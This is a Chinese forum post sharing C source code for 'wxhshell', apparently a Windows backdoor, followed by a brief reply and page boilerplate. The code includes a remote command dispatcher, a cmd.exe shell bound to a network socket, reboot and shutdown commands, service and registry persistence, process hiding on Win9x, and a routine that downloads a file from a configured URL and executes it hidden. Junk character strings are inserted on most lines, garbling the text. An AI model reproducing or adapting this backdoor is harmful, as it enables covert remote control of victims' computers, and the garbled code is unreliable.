  } u"X8(\pOn  
  else { [A*vl9=  
Gxm+5q  
    switch(cmd[0]) { |],{kUIXO  
  ""CJlqU  
  // 帮助 I*6L`#j[  
  case '?': { 9co -W+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *v l_3S5_  
    break; dr,j~s  
  } 3~s0ux[  
  // 安装 6NJ La|&n  
  case 'i': { 'qQ DM_+  
    if(Install()) !Aunwq^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }-: d*YtK  
    else () b0Sh=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =*8"ci $  
    break; !QcgTW)T  
    } lS XhHy  
  // 卸载 \ {"8(ELX  
  case 'r': { W=I%3F_C"R  
    if(Uninstall()) 0 I;>du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Clf]\_II  
    else 8ru@ 8|r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4sNM#]%|  
    break; ,_\h)R_  
    } la|#SS95  
  // 显示 wxhshell 所在路径 uZ<Bfrc  
  case 'p': { P4R.~J ;8  
    char svExeFile[MAX_PATH]; /xrt,M@  
    strcpy(svExeFile,"\n\r"); nfRo:@  
      strcat(svExeFile,ExeFile); C[gSiL  
        send(wsh,svExeFile,strlen(svExeFile),0); YJ rK oK}  
    break; 8'`&f &  
    } Y<a/(`  
  // 重启 FCqs'  
  case 'b': { Pbm ;@ V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wd~}O<"  
    if(Boot(REBOOT)) 9FPl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv;z^8PZJz  
    else { `n5RDz/f0  
    closesocket(wsh); z0g$+bhy  
    ExitThread(0); F^A1'J  
    } +/x|P-  
    break; G!0|ocE}  
    } 8b6:n1<fn  
  // 关机 ',juZ[]_ {  
  case 'd': { w:z_EV!&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~@itZ,d\  
    if(Boot(SHUTDOWN)) {) Y &Vr5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tH>%`:  
    else { V+Cb.$@  
    closesocket(wsh); My)}oN7\z  
    ExitThread(0); u"C`S<c  
    } 3'1O}xO  
    break; MKoN^(7  
    } ]6=cSs!  
  // 获取shell %[NefA(  
  case 's': { pjjs'A*y  
    CmdShell(wsh); r8Gq\ ^  
    closesocket(wsh); 6"ZQN)7  
    ExitThread(0); 1<bSHn9  
    break; Y`lC4*g  
  } MzJ5_}  
  // 退出 $5il]D`  
  case 'x': { i}+dctg/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l9P~,Ec4''  
    CloseIt(wsh); He j0l^  
    break; +k8><_vr}  
    } j}0*`[c  
  // 离开 p9l&K/  
  case 'q': { H3 `%#wQ0j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U$0#j  
    closesocket(wsh); __3Cjo^6&  
    WSACleanup(); @["Vzg!I6"  
    exit(1); li/O&@g`  
    break; Q?[k>fu0  
        } Z~$&h  
  } {H"gp?Z-  
  } IGv>0LOd@  
V4V TP]'n  
  // 提示信息 K})j5CJ/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {yspNyOx  
} /\#qz.c2K  
  } N;Hf7K  
1*>a  
  return; S1`+r0Fk~n  
} 0B3*\ H}5  
#c?\(qjWA  
// shell模块句柄 tw*qlbFHv  
int CmdShell(SOCKET sock) HnOp*FP  
{ A:NsDEt  
STARTUPINFO si; 3f M  
ZeroMemory(&si,sizeof(si)); siyJjE)}w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '<1T>|`/t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >@ge[MuS  
PROCESS_INFORMATION ProcessInfo; 1j0yON  
char cmdline[]="cmd"; =>S5}6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +T UtVG  
  return 0; !^`ZHJ-3>;  
} /*D]4AK  
RQ/X{<lQ)  
// 自身启动模式 !f7}5/YC7v  
int StartFromService(void) u!{P{C  
{ nM}X1^PiK"  
typedef struct #C !8a  
{ #kma)_X  
  DWORD ExitStatus; (M5=8g%>d  
  DWORD PebBaseAddress; dVCBpCxI  
  DWORD AffinityMask; NUx%zY  
  DWORD BasePriority; }.` ycLW'  
  ULONG UniqueProcessId; . 1?AU 6\  
  ULONG InheritedFromUniqueProcessId; .&}}ro48  
}   PROCESS_BASIC_INFORMATION; 8 wC3}U  
xj%h-@o6  
PROCNTQSIP NtQueryInformationProcess; JNX7]j\  
i ]F,Y;&|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =b9?r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cww$ A %}  
ze,HN Fg@>  
  HANDLE             hProcess; `wk#5[Y_  
  PROCESS_BASIC_INFORMATION pbi; 4y)"IOd#|  
\7("bB=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q] ,&$d^@  
  if(NULL == hInst ) return 0; 3G5i+9Nt.L  
Ij{{Z;o3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WERK JA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *,pG4kh!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0XXu_f@]9  
X$%RJ3t e  
  if (!NtQueryInformationProcess) return 0; ZH~m%sA  
Hyq| %\A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X "1q$xwc  
  if(!hProcess) return 0; }$iH 3#E8  
*qKwu?]?>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KvktC|~?  
GH^i,88  
  CloseHandle(hProcess); pBmacFP  
G%rK{h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N}\$i&Vi  
if(hProcess==NULL) return 0; _=4Dh/Dv  
yfuvU2nVH  
HMODULE hMod; y;#p=,r  
char procName[255]; Isoqs(Oi  
unsigned long cbNeeded; <qHwY.  
s u![ST(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wIi(p5*  
m<"1*d~  
  CloseHandle(hProcess); #2x\d  
~Bj-n6QDE  
if(strstr(procName,"services")) return 1; // 以服务启动 \? MuORg  
eFZ`0V0  
  return 0; // 注册表启动 f9OVylm  
} VbA#D4;  
9{ciD "!&V  
// 主模块 (AR-8  
int StartWxhshell(LPSTR lpCmdLine) f N t  
{ rmWG9&coW  
  SOCKET wsl; B8[H><)o\y  
BOOL val=TRUE; mL3'/3-7:V  
  int port=0; jd(=? !_  
  struct sockaddr_in door; @@!t$dD  
/Q{Jf+>R>  
  if(wscfg.ws_autoins) Install(); HykJ}ezX4  
"$ u"Py  
port=atoi(lpCmdLine); uOm fpgO  
;k!Ej-(  
if(port<=0) port=wscfg.ws_port; $,'r} %  
7xWX:2l*?  
  WSADATA data; #4~Ivj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HM ^rk  
i-tX5Md|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xa!@$w=U&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e2/[`k=7-  
  door.sin_family = AF_INET; pMs%`j#T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :/ "q NPJ  
  door.sin_port = htons(port); ,uDB ]  
64>Zr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + Uj~zx@  
closesocket(wsl); GAz;4pUZ  
return 1; ( 8H "'  
} I /> .P  
|@V<}2zCZ  
  if(listen(wsl,2) == INVALID_SOCKET) { c$ 1ez  
closesocket(wsl); &8~U&g6C  
return 1; nA%-<  
} {^$rmwN  
  Wxhshell(wsl); mufF_e)  
  WSACleanup(); _gw~A {O  
^Z\1z!{R  
return 0; IjNE1b$  
\kC/)d  
} ]FsPlxk6  
1/ j}VC  
// 以NT服务方式启动 ~e'FPVDn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <3ovCqa  
{ mlIc`GSI  
DWORD   status = 0; 0 ,Bd,<3  
  DWORD   specificError = 0xfffffff; Nu|?s-   
9> [ $;>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #J1a `}x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s}/YcUK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OG}0{?  
  serviceStatus.dwWin32ExitCode     = 0; E-Cj^#OY|N  
  serviceStatus.dwServiceSpecificExitCode = 0; zXp{9P\c  
  serviceStatus.dwCheckPoint       = 0; U .G*C  
  serviceStatus.dwWaitHint       = 0; P+oCcYp  
rS6iZp,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u9k##a4.E  
  if (hServiceStatusHandle==0) return; 0'aZ*ozk  
S(/@.gI:f  
status = GetLastError(); Neey myW  
  if (status!=NO_ERROR) vmW4a3  
{ /AW6XyMD _  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CDR^xo5 dP  
    serviceStatus.dwCheckPoint       = 0; #YjV3O5<  
    serviceStatus.dwWaitHint       = 0; [wIyW/+  
    serviceStatus.dwWin32ExitCode     = status; >(d+E\!A  
    serviceStatus.dwServiceSpecificExitCode = specificError; vhKeW(z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:%$a]_f  
    return; =d( 6 )  
  } ")ZHa qEB  
D~8f6Ko"m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?Tb'J`MO  
  serviceStatus.dwCheckPoint       = 0; eN,m8A`/S  
  serviceStatus.dwWaitHint       = 0; )lH?XpfTjm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5.5dB2w  
} ilpg()  
N[zI@>x  
// 处理NT服务事件,比如:启动、停止 42Ql^ka  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J& yDX>  
{ A\k-OP]  
switch(fdwControl) 1AA(qE  
{ Yo(8mtYU  
case SERVICE_CONTROL_STOP: CbK7="48  
  serviceStatus.dwWin32ExitCode = 0; ZhM-F0;`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o<T>G{XYB  
  serviceStatus.dwCheckPoint   = 0; dI'C[.zp[  
  serviceStatus.dwWaitHint     = 0; e`8z1r  
  { gY;N>Yq,C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e#&[4tQF  
  } :=*>:*.Kb  
  return; o3}12i S  
case SERVICE_CONTROL_PAUSE: `| R8WM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *1%=?:$(r6  
  break; P),%S9jP;  
case SERVICE_CONTROL_CONTINUE: NL2n\%n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zw"6-h4  
  break; M,y='*\M  
case SERVICE_CONTROL_INTERROGATE: c( gUH  
  break; $3"0w   
}; ("mW=Ln  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _czLKbcF  
} OM2|c}]ZQ  
0#<_:E  
// 标准应用程序主函数 Re,0RM\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2ZLK`^S  
{ QR79^A@5  
ZOS{F_2.  
// 获取操作系统版本 5p"*n kF  
OsIsNt=GetOsVer(); 0nhsjN}v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _H:SoJ'  
|!IJ/ivEgw  
  // 从命令行安装 d5sG t#   
  if(strpbrk(lpCmdLine,"iI")) Install(); BWw7o{d  
|%zhwDQ.  
  // 下载执行文件 lWnV{/q\X  
if(wscfg.ws_downexe) { TSE(Kt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C8NbxP  
  WinExec(wscfg.ws_filenam,SW_HIDE); yHT}rRS8  
} `1pri0!  
)?Jj#HtW  
if(!OsIsNt) { /?2yo{F g  
// 如果时win9x,隐藏进程并且设置为注册表启动 %;^6W7  
HideProc(); f\/};a  
StartWxhshell(lpCmdLine); MY1 tYO  
} &QCqaJ-  
else 9x{T"'  
  if(StartFromService()) `Gsh<.w!7  
  // 以服务方式启动 ^_2Ki   
  StartServiceCtrlDispatcher(DispatchTable); NW!e@;E+i  
else US> m1KsX  
  // 普通方式启动 Uc7X)  
  StartWxhshell(lpCmdLine); x1A^QIuxO  
z[OW%(vrm  
return 0; H]@Zp"7  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八